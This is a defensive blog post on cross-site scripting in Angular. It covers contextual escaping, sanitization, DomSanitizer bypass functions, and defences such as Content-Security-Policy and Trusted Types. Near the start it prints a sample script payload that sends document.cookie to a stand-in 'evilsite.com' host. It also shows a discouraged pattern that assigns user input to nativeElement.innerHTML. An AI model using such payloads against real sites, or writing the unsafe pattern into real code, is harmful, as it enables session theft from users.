When building a web application, one of the most crucial pain points is securing your website. Despite the purpose of your website, an attacker can use even a minimal vulnerability to affect your application and its users. Cross-site scripting, commonly known as XSS, is one such attack.
In this post, we'll go through what XSS attacks look like in an Angular application with examples. Furthermore, you'll learn about how you can reduce or prevent XSS vulnerabilities in your web application.
XSS: A Brief Overview
To start off with, let's have a look into how an XSS attack can happen on your website.
Imagine you have a user form on your website. This could be as simple as a sign-in form or a contact form. You expect to take the user's name as an input and show it on your website.
What would happen if a user enters the following piece of code in the input field?
<script>
src="http://evilsite.com?+document.cookie;
alert("Success");"
</script>
In this case, if your website executed this piece of code, a pop-up will appear. Not only that, behind the scenes, the website will send a request to the attacker's website with your cookie information. You or the website user wouldn't even realize an XSS attack is happening.
Often, XSS attacks take place when user input enters the DOM (Document Object Model) of your website before being validated. A malicious input can come in various forms to obtain sensitive data from your users and the website itself. It's important to realize that XSS attacks can manipulate your website without being exposed. Therefore, thorough validation of user input is a crucial part of securing your website.
XSS attacks come in different flavors, such as reflected, persistent, and DOM-based attacks. If you'd like to read more about them with examples, check out this great post on the StackHawk blog.
Angular's Security Model for XSS
Now that we have an idea about how XSS attacks can happen in general, let's take a look at a simple example in an Angular application.
Contextual Escaping
The below code snippet creates an input field to take in the user name as input. This snippet will appear in the HTML file of your Angular component.
<label for="username">Name: </label>
<input id="username" [(ngModel)]="username" placeholder="Name">
We'll create a variable called username in the TypeScript file of the Angular component to store the input from the user.
import {
Component
} from '@angular/core';
@Component({ . . . })
export class AppComponent {
username = '';
}
The following code snippet in the component HTML file will display the input from your user. This method of binding user input to the view is called "interpolation."
<p>{{ username }}</p>
If you run the above example and insert a malicious code as input, what do you think would happen?
In this instance, the interpolation mechanism in Angular will escape your input. It won't interpret the input as HTML and will display the entire input as plain text on your webpage. This defense mechanism in Angular is known as "contextual escaping."
Contextual escaping in Angular.
Does this mean an Angular application can prevent XSS attacks by itself?
Input Sanitization
With this in mind, let's look at another example of displaying the input. Imagine your website needs an input field that allows HTML formatting, such as a comment box. In such situations, you can use Angular's [innerHtml] property to bind the user input. Note that this is different from the innerHTML in the native web APIs.
Let's create a comment box in the HTML file.
<label for="comment">Comments </label>
<textarea id="comment" [(ngModel)]="comment" placeholder="Comment"></textarea>
And display the comment as [innerHTML] so that Angular can execute the HTML tags added by the user.
<p [innerHtml]="comment"></p>
The image below shows the output you would see. To compare, we have added the output you'd get from interpolation. Unlike interpolation, the [innerHtml] property interprets the HTML code in your input. As you can see below, Angular has automatically recognized the <script> tag as unsafe and removed it, but has kept the <b> tag as it's potentially safe. This modification in Angular is called "sanitization." When you're running Angular in development mode, a warning appears as shown in the image below to notify you if Angular has sanitized an input value.
Input sanitization in Angular.
In addition to the [innerHtml] property, Angular has a few other properties it uses to sanitize user inputs based on the context. The [style] property (which binds CSS attributes) and the [href] property (which binds URLs) perform similar context-based sanitization to remove possibly dangerous inputs from users. The following code snippet shows a simple example of using these properties:
<div [style]="dynamic-style"> ... </div>
<a [href]="dynamic-url">Dynamic Link</a>
Trusting and Bypassing
The above examples show that Angular has built-in security capabilities to protect your application from XSS attacks.
The key concept behind Angular's out-of-the-box security model is that Angular treats all input values as untrusted.
Therefore, if you need to use a validated user input within the application, you'll need to mark the input as trusted.
For this purpose, you can make use of the DomSanitizer and use the byPassSecurityTrust..() functions to tell Angular that you trust the input value. However, you must be extremely cautious when using this functionality, as XSS attacks are possible if your input gets tampered with. This step should only be done when your inputs are trustworthy, and you must check all execution paths to make sure the application is secured.
Angular has the following bypass functions in the DomSanitizer:
byPassSecurityTrustHtml()
byPassSecurityTrustStyle()
byPassSecurityTrustScript()
byPassSecurityTrustUrl()
byPassSecurityTrustResourceUrl()
Directly Accessing DOM Elements
Another instance where XSS attacks can happen in Angular is when you use native web APIs to directly access the DOM elements. In this case, you might use ElementRef to access a DOM element in your application as shown below. You may define your element in the HTML file and access the element from the component TypeScript file and use the native [innerHTML] property to set the value.
In the view, you may define the "myDiv" DOM element as shown in the snippet below:
<p id="myDiv" #myDiv></p>
In the component file, you may make changes as below to access the "myDiv" element:
import {
Component,
ElementRef,
HostListener,
ViewChild
} from '@angular/core';
@Component({
selector:'my-app',
templateUrl:'./app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
@ViewChild('myDiv') divElement: ElementRef;
username = '';
onClick() {
this.divElement.nativeElement.innerHTML = this.username;
}
}
This pattern is strongly discouraged in Angular as you won't get the in-built secure functionalities when native APIs are used. You should use the Angular patterns to safely access view elements and input values.
Preventing XSS in Angular
It's obvious that Angular offers a secure platform for you to build your application in a way that minimizes exposure to XSS attacks. However, should you need to bypass the security model to implement functionalities, you must explore the data paths to make sure your application is secure. In addition to that, Angular suggests the following means to secure your application against XSS.
Make sure that your web server returns the Content-Security-Policy HTTP header to maintain a list of trusted sources. Thereafter, your application will only execute the code from these trusted sources. This header could look similar to the following line:
Content-Security-Policy: script-src https://host1.com https://myapi.com
Use Trusted Types so that they enforce safer coding in your application. In order to enable Trusted Types, your web server should send an HTTP header with Angular policy keywords. You can read more about enabling Trusted Types from this guide.
Avoid using unsafe coding patterns such as directly accessing DOM elements.
Conduct a security audit for your application, especially if you use security-sensitive functionalities such as bypassing methods.
At the end of the day, if you stick to Angular's coding patterns, your website will be secure from XSS attacks. However, should you need to bypass Angular's way to enable functionalities, conducting a security audit will give you the peace of mind you deserve.
If you're curious about how other web development frameworks mitigate XSS attacks, check out the posts on XSS examples and prevention in React and Vue.
This post was written by Malsha Ranawaka. Malsha is a software engineer getting to know more about data science. Her passions lie in beautiful interfaces, code quality, and work-life balance. She’s interested in creating content that makes learning new concepts easy and fun.